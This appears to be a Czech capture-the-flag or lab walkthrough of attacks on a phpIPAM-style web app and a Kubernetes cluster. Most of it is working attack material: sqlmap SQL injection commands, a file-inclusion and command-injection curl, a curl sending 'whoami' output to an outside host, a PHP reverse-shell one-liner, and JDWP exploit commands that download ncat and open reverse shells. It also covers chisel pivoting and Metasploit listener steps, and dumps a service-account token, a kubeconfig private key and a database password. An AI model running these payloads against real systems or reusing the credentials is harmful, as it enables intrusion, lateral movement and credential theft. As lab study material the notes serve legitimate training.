    • zjištěno z databáze SESSION_VARIABLES.csv
  • Apache verze: 2.4.10
    • zjištěno z http://pimpam.lore.tcc/app/subnets/scan/

Při /?page=request_ip se zobrazí chyba:
Fatal error: Call to a member function show() on null in /var/www/html/functions/classes/class.Tools.php on line 1292

Je zde SQL zranitelnost show-logs.php SQLi <-

HTTP POST originál

  • tady je problém s parametrem n'\"ext, kdy to má být next
  • nefunkční:
    1
    
    python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/logs/show-logs.php" --data="Notice=Notice&Warning=Warning&direction=n'\"ext&lastId=1" -p "lastId" --level=5 --risk=3 --dbs --method="POST" --referer="http://pimpam.lore.tcc/?page=tools&sections=logs" --ignore-redirects
    
  • funkční:
    1
    
    python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/logs/show-logs.php" --data="Notice=Notice&Warning=Warning&direction=next&lastId=1" -p "next,lastId" --level=5 --risk=3 --dbs --method="POST" --ignore-redirects
    

HTTP POST:

1
2
3
4
5
6
on http://[Site]/phpipam/app/tools/user-menu/user-edit.php
[lang] and [printLimit] Parameters are vulnerable against SQLi.
Payload:
Method : POST
PostData=
real_name=phpIPAM+Admin&email=admin%40domain.local&password1=&password2=&mailNotify=No&mailChangelog=No&printLimit=30&lang=9'[SQLi]
1
2
python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/user-menu/user-edit.php" --data="real_name=phpIPAM+Admin&email=admin%40domain.local&password1=&password2=&mailNotify=No&mailChangelog=No&printLimit=30&lang=9" -p "lang,printLimit" --level=5 --risk=3 --dbs --method="POST" --ignore-redirects

HTTP GET: funkční,

  • tedy aspoň jediné co detekuje databázi, ale data jsou kraviny …
  • jedná se o time-based, takže spoustu dat chybí a obecně je k ničemu …
1
2
3
4
5
6
SQL Injection Vulnerability (3 Items):
on Tools>Changelog 
[sPage] Parameter is vulnerable against SQLi.
Method: GET
Payload:
http://[Site]/phpipam/?page=tools&section=changelog&subnetId=a&sPage=50' [SQLi]
1
python3 sqlmap.py -u "http://pimpam.lore.tcc/?page=tools&section=changelog&subnetId=a&sPage=50" -p "sPage" --level=5 --risk=3 --dbs --ignore-redirects
  • local file inclusion
1
curl 'http://pimpam.lore.tcc/app/dashboard/widgets/index.php?section=../../../../../../../../tmp/pwnt&c=uname+-a'
  • Tohle je správná cesta:
1
curl -X POST -d "subnetId=1;sleep 10" http://pimpam.lore.tcc/app/subnets/scan/subnet-update-icmp.php
  • funguje zde i curl
  • zjistil jsem, že jediný subnet-update-icmp.php funguje jak má, dle článku na netu, uvádějí, že se má použít subnet-scan-telnet.php ale ten nefunguje…

Tímto bych si mohl posílat v požadavku HTTP GET data … bohužel linux mi dosazuje proměnou ode mě, nikoliv od serveru.

  • Chtělo by to někdy v budoucnu ověřit, jestli escapování znaků pomůže…
    1
    
    curl -X POST -d "subnetId=1;curl "http://10.200.0.55:8888/?data=$(whoami)"" http://pimpam.lore.tcc/app/subnets/scan/subnet-update-icmp.php
    

Tvoříme revshell

  • využil jsem revshells.com a použil jsem Reverse -> PHP exec
  • No, takže můžu posílat příkazy => takže vytvořit revshell
  • chtěl jsem vytvořit script script.php a ten poslat na server a spustit, ale to mi nešlo nakonec nejjednodušší bylo to níže …
    1
    
    php -r '$sock=fsockopen("10.200.0.63",8888);exec("/bin/bash <&3 >&3 2>&3");'
    
  • když mám revshell, pak už stačí použít printenv
  • ten použít předtím přes curl použít nešel, protože jsem používal HTTP GET kdy se mi vždy od serveru(oběti) vrátil vždy jen první řádek .. (neúplný)

FLAG: FLAG=FLAG{V51j-9ETA-Swya-8cOR}

3. Bounded

  • V případě problému se stroje restartují v intervalu 5 min. ?
  • Odehrává se to v http://jgames.lore.tcc

Pořadí příkazů pro vytvoření reverse shell

1
2
3
4
5
proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/bin/curl -o /tmp/ncat http://10.200.0.17:8889/ncat " --break-on "java.lang.String.indexOf"

proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/bin/chmod +x /tmp/ncat" --break-on "java.lang.String.indexOf"

proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/tmp/ncat 10.200.0.17 5449 -e /bin/bash" --break-on "java.lang.String.indexOf"

Secrets serveru

serviceaccount

ca.crt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-----BEGIN CERTIFICATE-----
MIIDBTCCAe2gAwIBAgIIfcOqboUQSP8wDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
AxMKa3ViZXJuZXRlczAeFw0yNDA4MjUxNTQzMzRaFw0zNDA4MjMxNTQ4MzRaMBUx
EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDFJz/fwJ/zTQf7YLKc/aoM+snKjsvRpCQCtbFsQ4IJiVCzUWIjlQ5xBS0N
0pShRCqFrI++oDrVVLKcmQyPBEBVYbXow0XjgkyANKSywaixzz9Byh5y40IRLl62
+n/1Ji3VpT1asguysEN/3PSSbGedMVzo2lWLDv00fT5ojuxj9d2oxP0cGYX4hmQX
peN8eD8IA21bssjf3kFpaXkJ9IL11wt4B7cWfX4scagDfbYJipPwwTFBZfQDia0Z
nH2Q8mQ2ydG/XvmPPEsVvvbLc/Buy6DAUfy/34Yux8sVgRNCjf5Jc0WOOUNV4m9h
wzd7WiNrZ72wFSxeN14wATcKW4ZvAgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSvJ52BKd3l2D05qu2jqDqBxWuF8DAV
BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAdYID49HBi
zSM+uWmQQZJE8gr6Q2sz6PLq+lePAoc/fysBY3Y5ESR64R6C5yOUFtFkjt7oRgds
DjqQ6yKpygvGrytwqAFNF+2FsvZZKQZ/+OZdMSkq/MdCd+vqvjenK/G/igZO1s3d
XFZ6lV8iNTQoiy+XGNWqKj3bLJ2AtPGYTKY/z6c7jDL0zFVwHW4mT55PiCtWa8on
6GYkehYicf+VVg1YWKluCVruOI2POevl+FarErI3yk1Unip/M459ujs1h2CTkFPa
wb3bJ26pzYJHnhsgQLMpwn5kbHCb1EOzRijG2CiWWtS9xkC7KZ1OdzqhgopAMz3q
wxeJw2/9JYUv
-----END CERTIFICATE-----

namespace jgames

token

1
eyJhbGciOiJSUzI1NiIsImtpZCI6ImVVNVZ4TmlMdmFNaV9STFNBS3NvSnNwd0VmcUJYWkhfMGY2UGpwNDN3aTQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzYxMTE4NTIyLCJpYXQiOjE3Mjk1ODI1MjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJqZ2FtZXMiLCJwb2QiOnsibmFtZSI6ImpnYW1lcy02ZmM0Zjg4OGZmLTJqbjhjIiwidWlkIjoiYjVkODA5YTYtOGU3Ni00YmZlLTkwMDMtMWY1NTg4YWYxYjEzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiYzE3ZjgxM2EtOTFjNy00OWFmLWEyNjYtMTA4NjdmNzllNWI2In0sIndhcm5hZnRlciI6MTcyOTU4NjEyOX0sIm5iZiI6MTcyOTU4MjUyMiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmpnYW1lczpkZWZhdWx0In0.vVrvQensAShiKkCYhpNWCeP8oDmq6f7XUEZYY0ZTuWsBadrPq91FQUH1ncwwA97bKWjv57C3m5oDs-WC1TZq83Wwa1Sa63DZkBlApI176eqrq4WkxVT6s9PH0_yr0ddgV58lkRee1_5UUuSCt9Y68JHuEAabhgSx7kWfQwDuiko7rwU7DcRce75aZtIk-0FEYjs1pCR_QZh02DMr36Tu1OjssClmjNN9KFX6QmIV2LOUvBf0h-I4N2HN3ZMf-ExiMS9u15w6JBrSN1fWGjDKNr-WnbdMFylvaCk679PsD2ZkBLpFROe8a9g-5keXzRy8pCwbAswmboE2S0GyC3FtSA

jacob secrets.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJZmNPcWJvVVFTUDh3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFF6TXpSYUZ3MHpOREE0TWpNeE5UUTRNelJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURGSnovZndKL3pUUWY3WUxLYy9hb00rc25LanN2UnBDUUN0YkZzUTRJSmlWQ3pVV0lqbFE1eEJTME4KMHBTaFJDcUZySSsrb0RyVlZMS2NtUXlQQkVCVlliWG93MFhqZ2t5QU5LU3l3YWl4eno5QnloNXk0MElSTGw2Mgorbi8xSmkzVnBUMWFzZ3V5c0VOLzNQU1NiR2VkTVZ6bzJsV0xEdjAwZlQ1b2p1eGo5ZDJveFAwY0dZWDRobVFYCnBlTjhlRDhJQTIxYnNzamYza0ZwYVhrSjlJTDExd3Q0QjdjV2ZYNHNjYWdEZmJZSmlwUHd3VEZCWmZRRGlhMFoKbkgyUThtUTJ5ZEcvWHZtUFBFc1Z2dmJMYy9CdXk2REFVZnkvMzRZdXg4c1ZnUk5DamY1SmMwV09PVU5WNG05aAp3emQ3V2lOclo3MndGU3hlTjE0d0FUY0tXNFp2QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJTdko1MkJLZDNsMkQwNXF1MmpxRHFCeFd1RjhEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQWRZSUQ0OUhCaQp6U00rdVdtUVFaSkU4Z3I2UTJzejZQTHErbGVQQW9jL2Z5c0JZM1k1RVNSNjRSNkM1eU9VRnRGa2p0N29SZ2RzCkRqcVE2eUtweWd2R3J5dHdxQUZORisyRnN2WlpLUVovK09aZE1Ta3EvTWRDZCt2cXZqZW5LL0cvaWdaTzFzM2QKWEZaNmxWOGlOVFFvaXkrWEdOV3FLajNiTEoyQXRQR1lUS1kvejZjN2pETDB6RlZ3SFc0bVQ1NVBpQ3RXYThvbgo2R1lrZWhZaWNmK1ZWZzFZV0tsdUNWcnVPSTJQT2V2bCtGYXJFckkzeWsxVW5pcC9NNDU5dWpzMWgyQ1RrRlBhCndiM2JKMjZwellKSG5oc2dRTE1wd241a2JIQ2IxRU96UmlqRzJDaVdXdFM5eGtDN0taMU9kenFoZ29wQU16M3EKd3hlSncyLzlKWVV2Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    server: https://10.99.24.81:6443
  name: kubernetes
contexts:
- context:
    cluster: kubernetes
    user: jacob
  name: jacob@kubernetes
current-context: jacob@kubernetes
kind: Config
users:
- name: jacob
  user:
    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURKRENDQWd5Z0F3SUJBZ0lSQUtuQ3ZUSTVySGZJUHRYTU9xeURub2N3RFFZSktvWklodmNOQVFFTEJRQXcKRlRFVE1CRUdBMVVFQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFE0TlRoYUZ3MHlOVEE0TWpVeApOVFE0TlRoYU1DNHhIREFNQmdOVkJBb1RCV1JsZG1Wc01Bd0dBMVVFQ2hNRmFtRmpiMkl4RGpBTUJnTlZCQU1UCkJXcGhZMjlpTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFrQlRqQjFUQzNDUEwKMHVMdU9CWTRKSGhuL2FUdU9uV1B0bysrSFUxN29KYUc2OHZSSHdjU28xY0VQNkJJVk4zd25TYTN2ZGpiVEVrVApnSjRGL2p2aFJLSk9laHdHWGRCWDJQV3ZFQm1IUkxOQmxuekltRnFscjNodXRMZFBIcC9lSlo5c0Y2ZXU3ZG5zCmhhL0M3eTlwbVl2UDRhTTBoYmVmL0lyNUhLdG8wR2JBOVpUbEhmZmI0dnlZSkFhdFdTRTYwTUNabGxQRDB2b2oKZjY4UVZNektHMmMzRDYzMTF4eThLR3ZHUzYxTUtaSG14aElDWE4rVFpKV1VWNkZIemxWWW14NVRYcFNmZTRXRQpOem1EWUsxU1RSdXhERDRnc09KMUVmNTJJQ2ZhNDRlZnBFdmNWSnhZNmhHc0hyMTRxWGYxQzUzKytrcFRTbWxzClJRdkx4eStqbHdJREFRQUJvMVl3VkRBT0JnTlZIUThCQWY4RUJBTUNCYUF3RXdZRFZSMGxCQXd3Q2dZSUt3WUIKQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZkJnTlZIU01FR0RBV2dCU3ZKNTJCS2QzbDJEMDVxdTJqcURxQgp4V3VGOERBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXVZa2VySGdadmxkT2hZWkVBQmR5VjJ2VWUzMlRTckdXCktwbFJKaGJaaDZZU0RpOTB5UVovdWRNaVFERzVGcDV0YXVneWtkUUF4ZEw2U2dGL29lUmRHTHN3TnhZSzd4ZjQKTGtKeDM2RWtzb1FQZ3lUY1ZSRW9RQ2xnUjIwTFlSaFh2alg2ZE1BbDNHbzhEV01ORDNSa1laVGVCVFBkb0x2awpLUUt4VVQxcVplaklaei9QUko4UUt4bGhxZHV3TUY1bGNVbjM4QTl1S0J0S0FSak5JSUFXdDFXQzNHVmFIWnlNCkc5V2RSUnNQRWdFeFc1MnRSN2NUZlBtWENsU3YvU21OdVFjVWhvWk04TFNzcHZUTTNmN2dwVmFuWDdTTEZvL2YKWkVGem8rWnBwd3Y5VTF6T3ArY2c5R2lCaWxldHJUbjZtektQd2dKbzRsT3h6OXpDRTFBdFVBPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    client-key-data: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktZd2dnU2lBZ0VBQW9JQkFRQ1FGT01IVk1MY0k4dlMKNHU0NEZqZ2tlR2Y5cE80NmRZKzJqNzRkVFh1Z2xvYnJ5OUVmQnhLalZ3US9vRWhVM2ZDZEpyZTkyTnRNU1JPQQpuZ1grTytGRW9rNTZIQVpkMEZmWTlhOFFHWWRFczBHV2ZNaVlXcVd2ZUc2MHQwOGVuOTRsbjJ3WHA2N3QyZXlGCnI4THZMMm1aaTgvaG96U0Z0NS84aXZrY3EyalFac0QxbE9VZDk5dmkvSmdrQnExWklUclF3Sm1XVThQUytpTi8KcnhCVXpNb2JaemNQcmZYWEhMd29hOFpMclV3cGtlYkdFZ0pjMzVOa2xaUlhvVWZPVlZpYkhsTmVsSjk3aFlRMwpPWU5nclZKTkc3RU1QaUN3NG5VUi9uWWdKOXJqaDUra1M5eFVuRmpxRWF3ZXZYaXBkL1VMbmY3NlNsTkthV3hGCkM4dkhMNk9YQWdNQkFBRUNnZ0VBQnlKUm4zSk45N0o2RENZYVg0S1NJeFFuS2dMNW5NRm5iVVd1eHlxbi9XcVcKb2FSRTVZRm5KZGxRSjRwYktvQ1d3bUZCWmRBUUE3WDJsajY4MHpySnk2a3hzNUFockpGOVdBdktNRVRqVXI2QgpkOThUMjU5Wlp0ZlN1M1g4SCtzUWg5SmQrc25kdW44NDIrRzVDRGpUeEx1TWZvS2pQaCs2ZHptMlhmb0t4WTdOCjVVd0RPdURHYjNmVXhsZDJZcSswUCtxWUdxcjZUWjY5aUZZMVNERHQxdkV6dUhDcHJmeDlyZk0wbjdXdDU5SmoKSmwxVWpDeXU1elhSbU9sZ0xUK3NLdUdBOUlGTGRRcTF2Zi9zSFczZFZ2Ykpnam5FN2dpR2ZvYTlTMDc0TzFibgpocEFBaU9wNEVGalFoaXkzV1d3L2lpdXliRkRlbkFhcC9rZHJyWm9xS1FLQmdRREcxWENoYnlWSGRTL3FMVUhNCmdMV280dW9XY1lUTXJNdm1RamxHelhYWHR0UWdEdCtZd1JXTnFKdFJrQkc0dkVabDJ1cXdUeDlleDRwUFdSSXAKL1pPd2JnNVBmNE1GZkc0K0dZeU83YlVxVGRLU0tNa1Y1eEszUFU0VGtoanpCR042dFpQNDUxZDV4azN5TUFpdwpyV2FEdk05SHhDS2tTZkRRbFRCY3hCcDA5UUtCZ1FDNWdaUXJLQk8zL1VmUEFXYUw4b2FpY25jaHhhanhRNXAzCkQ1RDBwbndhRmNKemFZcm5GK2h3ejcxUnRreFNPVWh0Mkx2MUZLeksxRjVIRVJtNFpFczFsVTJRRHl3Y25OdmkKNVByUGxGZDViUU12c1BIK0dqNTJXaE1YWGs4QVRhZjdLWnVqUzVVYTM5bHViMXVYN2VaSzJ1WUZPN3V3TVlUKwpFV21FM09sKzJ3S0JnQy9EVC9ZSG0vM3BZYVF3VVBFT0xoVXV4U3ExQkVDaWRheVBWZkR6SkE2NGhZWlo3RTVtCmU0WDI3YkNQR2lLMVgzZlNPYlEybllPSURXcDRMQXZZTlNVWm11aHY2Z3BrVkpzb1NnSi9pWmhxNzExYTNNc2QKSWZyUWlEUGRVWTczQytxTE9jdDl6eDZhaTFqVlB4RXA1a2xaRHJYZm9LNjBjRnU2cXM1dDhTa05Bb0dBWmxtZgpKWnlNSEtTclBRUjV6dGMxLzJVR1krVEp6S3ZQQ3NmVTQ1Y0R1K1NyajcvNHVuNVBhZ2JFWHRRbEVleTNFSnhYClArWnpXOG1HWnRHQmptSVB1UFd5Z0x4T1MwOGtadkNOallBOEx5dTlhVS9JaExsNEl4YVpsL2dad0lJWUg1U2EKWWFOdkZnL1J5SU82Vm40VTVOSVh2V1Z5cmNqMHByVjJzYTZ0U2FjQ2dZQnBKb1UvYzc1NVFTQi9uTVNpUmxuRQpUVkJsWkIvMkExL01pYzJoU2syVXJuajhUN0dIZmM1TEp0VmNNZEJyS1h4ckE5OXNEUHFwclB2UzcyVkl0VE9ZCitsckdmYVh0bUtpUDFXUnVXNllpTUFScTBBM1Q1SVdacTBlRlVYNCthNVdvK0N1d2pUNmp5V3lrM0doVUNQUFIKWnZQL2REdmRmRTBOVm1HT0phaFltdz09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K

Oprávnění jacob

default namespace
  • pomocí kubectl auth can-i --list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Resources                                       Non-Resource URLs   Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
                                                [/api/*]            []               [get]
                                                [/api]              []               [get]
                                                [/apis/*]           []               [get]
                                                [/apis]             []               [get]
                                                [/healthz]          []               [get]
                                                [/healthz]          []               [get]
                                                [/livez]            []               [get]
                                                [/livez]            []               [get]
                                                [/openapi/*]        []               [get]
                                                [/openapi]          []               [get]
                                                [/readyz]           []               [get]
                                                [/readyz]           []               [get]
                                                [/version/]         []               [get]
                                                [/version/]         []               [get]
                                                [/version]          []               [get]
                                                [/version]          []               [get]

sam-queue

kubectl --kubeconfig=kube.yaml auth can-i --list --namespace=sam-queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Resources                                       Non-Resource URLs   Resource Names   Verbs
configmaps                                      []                  []               [create delete]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
                                                [/api/*]            []               [get]
                                                [/api]              []               [get]
                                                [/apis/*]           []               [get]
                                                [/apis]             []               [get]
                                                [/healthz]          []               [get]
                                                [/healthz]          []               [get]
                                                [/livez]            []               [get]
                                                [/livez]            []               [get]
                                                [/openapi/*]        []               [get]
                                                [/openapi]          []               [get]
                                                [/readyz]           []               [get]
                                                [/readyz]           []               [get]
                                                [/version/]         []               [get]
                                                [/version/]         []               [get]
                                                [/version]          []               [get]
                                                [/version]          []               [get]

vytvoření configmapy pomocí kubectl
1
2
3
kubectl create configmap request-7f3e1f9a1e654b88a0b2 \
  --from-literal=storage="storage-hal-01" \
  --namespace=sam-queue

metasploit listener

Tvoříme listener pomocí metasploit

  1. Zapnout metasploit
  2. use exploit/multi/handler
  3. nastavit options
  4. exploit
  5. pak dáme help -> shell pro interaktivní shell
  6. nastavit listener use linux/x64/meterpreter/reverse_tcp
  7. pak si můžeme vygenerovat přes revshells, pomocí msfvenom payload
  8. a nastavit v metasploitu další listener na jiném portu jako reverse/tcp
  9. to pak dostaneme na zraněný server a spustíme …
  10. Návod na proxy: zdroj
  • Na webu je tohle navíc KUBERNETES TACTICAL ENGAGEMENT
    • Ale nemá to s ničím souvislost …

Fragmenty ze stroje chapter2

printenv z chapter2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
KUBERNETES_PORT=tcp://192.168.128.1:443
KUBERNETES_SERVICE_PORT=443
PIMPAM_DB_SERVICE_PORT=3306
PIMPAM_DB_PORT=tcp://192.168.167.76:3306
PIMPAM_DB_PORT_3306_TCP=tcp://192.168.167.76:3306
HOSTNAME=pimpam-9bd6b669c-f5hff
PIMPAM_WEB_SERVICE_HOST=192.168.200.130
SHLVL=1
OLDPWD=/var/www/html/app/subnets/scan
PIMPAM_DBPASS=2eb6a09ff7b8417c4344c8bde185a512
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PIMPAM_WEB_PORT=tcp://192.168.200.130:80
PIMPAM_WEB_SERVICE_PORT=80
_=ls
PIMPAM_WEB_SERVICE_PORT_WEB=80
PIMPAM_DBHOST=pimpam-db
PIMPAM_WEB_PORT_80_TCP_ADDR=192.168.200.130
KUBERNETES_PORT_443_TCP_ADDR=192.168.128.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PIMPAM_WEB_PORT_80_TCP_PORT=80
PIMPAM_WEB_PORT_80_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
PIMPAM_DBNAME=pimpam
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_SERVER_NAME=localhost
PIMPAM_DB_PORT_3306_TCP_ADDR=192.168.167.76
APACHE_LOG_DIR=/var/log/apache2
PIMPAM_WEB_PORT_80_TCP=tcp://192.168.200.130:80
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://192.168.128.1:443
KUBERNETES_SERVICE_HOST=192.168.128.1
PIMPAM_DB_PORT_3306_TCP_PORT=3306
PWD=/var/www/html/app/subnets
PIMPAM_DB_PORT_3306_TCP_PROTO=tcp
PIMPAM_DB_SERVICE_HOST=192.168.167.76
PIMPAM_DB_SERVICE_PORT_MYSQL=3306
FLAG=FLAG{V51j-9ETA-Swya-8cOR}

  • IP Adresa: 192.168.73.124/32
IP 192.168.128.1
  • má otevřený jen 443 port
  • některé API endpointy jsou přístupné
NMAP 192.168.73.0/24

skenováno ze stroje: 192.168.73.124/32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Unable to find nmap-services!  Resorting to /etc/services
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-10-17 06:45 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.73.64
Host is up (0.00016s latency).
Not shown: 1203 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5666/tcp open  nrpe

Nmap scan report for 192-168-73-102.intro-web.intro.svc.cluster.local (192.168.73.102)
Host is up (0.00031s latency).
All 1205 scanned ports on 192-168-73-102.intro-web.intro.svc.cluster.local (192.168.73.102) are closed

Nmap scan report for 192-168-73-107.jgames-web.jgames.svc.cluster.local (192.168.73.107) #TIC TAC TOE 
Host is up (0.00030s latency).
Not shown: 1204 closed ports
PORT     STATE SERVICE
8080/tcp open  http-alt

Nmap scan report for 192-168-73-112.calico-kube-controllers-metrics.calico-system.svc.cluster.local (192.168.73.112)
Host is up (0.00015s latency).
All 1205 scanned ports on 192-168-73-112.calico-kube-controllers-metrics.calico-system.svc.cluster.local (192.168.73.112) are closed

Nmap scan report for 192-168-73-114.kube-dns.kube-system.svc.cluster.local (192.168.73.114)
Host is up (0.00021s latency).
Not shown: 1203 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
8080/tcp open  http-alt PAGE NOT FOUND 404

Nmap scan report for 192-168-73-115.ingress-nginx-controller.ingress-nginx.svc.cluster.local (192.168.73.115)
Host is up (0.00022s latency).
Not shown: 1203 closed ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap scan report for 192-168-73-117.webhook-service.metallb-system.svc.cluster.local (192.168.73.117)
Host is up (0.00020s latency).
All 1205 scanned ports on 192-168-73-117.webhook-service.metallb-system.svc.cluster.local (192.168.73.117) are closed

Nmap scan report for 192.168.73.118
Host is up (0.00019s latency).
All 1205 scanned ports on 192.168.73.118 are closed

Nmap scan report for 192-168-73-120.sam-web.sam-operator.svc.cluster.local (192.168.73.120)
Host is up (0.00020s latency).
All 1205 scanned ports on 192-168-73-120.sam-web.sam-operator.svc.cluster.local (192.168.73.120) are closed

Nmap scan report for 192-168-73-121.kube-dns.kube-system.svc.cluster.local (192.168.73.121)
Host is up (0.00022s latency).
Not shown: 1203 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
8080/tcp open  http-alt   PAGE NOT FOUND 404

Nmap scan report for 192-168-73-122.cgit-web.cgit.svc.cluster.local (192.168.73.122) CGIT
Host is up (0.00018s latency).
Not shown: 1204 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 192-168-73-123.whoami-service.default.svc.cluster.local (192.168.73.123) WHOAMI SERVICE
Host is up (0.00019s latency).
Not shown: 1204 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for pimpam-9bd6b669c-f5hff (192.168.73.124)
Host is up (0.00020s latency).
Not shown: 1203 closed ports
PORT     STATE SERVICE
80/tcp   open  http
3306/tcp open  mysql

192.168.73.123

whoami-browser

Budujeme chisel SOCKS proxy
  • máme už reverzní tunel
  • jakmile jsme na vzdáleném stroji tak nastartujeme spojení přes chisel tzn. na svém stroji spustíme chisel server: ./chisel server --reverse -p 8080 --socks5 1080
    -p 8080 říká na čem bude server poslouchat
    --socks5 1080 říká, že na lokálním stroji se spustí socksProxy na portu 1080, podle toho se nastaví i proxychains …: X:127.0.0.1:X na serveru (oběti) spustíme klienta
    chisel client Tvoje_IP:8080 R:socks

Dostal jsem se do dalšího stroje kterému se mění IP adresa ale má port 5005,

hledání daného stroje: ./nmap 192.168.73.0/24 -p 5005 --open

Poznámka:
1
2
3
4
5
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/busybox nc 10.200.0.76 8485 -e /bin/bash" --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/curl -o /tmp/ncat http://10.200.0.76:7000/ncat " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/chmod +x /tmp/ncat " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/tmp/ncat 10.200.0.76 8485 -e /bin/bash " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/tmp/reverse2.elf " --break-on "java.lang.String.indexOf"

Z blogu u GitHub jdwp-shellifier jsem musel najít, jaký breakpoint je zodpovědný za posun v kódu tzn. refresh stránky jgames.lore což je java.lang.String.indexOf čímž se kód zasekl v tomto bodě a po refresh stránky doběhl do konce a provedl se….

printenv stroje se hrou

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
printenv
KUBERNETES_SERVICE_PORT_HTTPS=443
NCAT_LOCAL_ADDR=192.168.73.97
JGAMES_WEB_PORT=tcp://192.168.207.69:80
KUBERNETES_SERVICE_PORT=443
JGAMES_DEBUG_SERVICE_PORT_DEBUG=5005
HOSTNAME=jgames-767df46b77-6g5ln
LANGUAGE=en_US:en
JAVA_HOME=/opt/java/openjdk
JGAMES_DEBUG_PORT_5005_TCP_ADDR=192.168.183.255
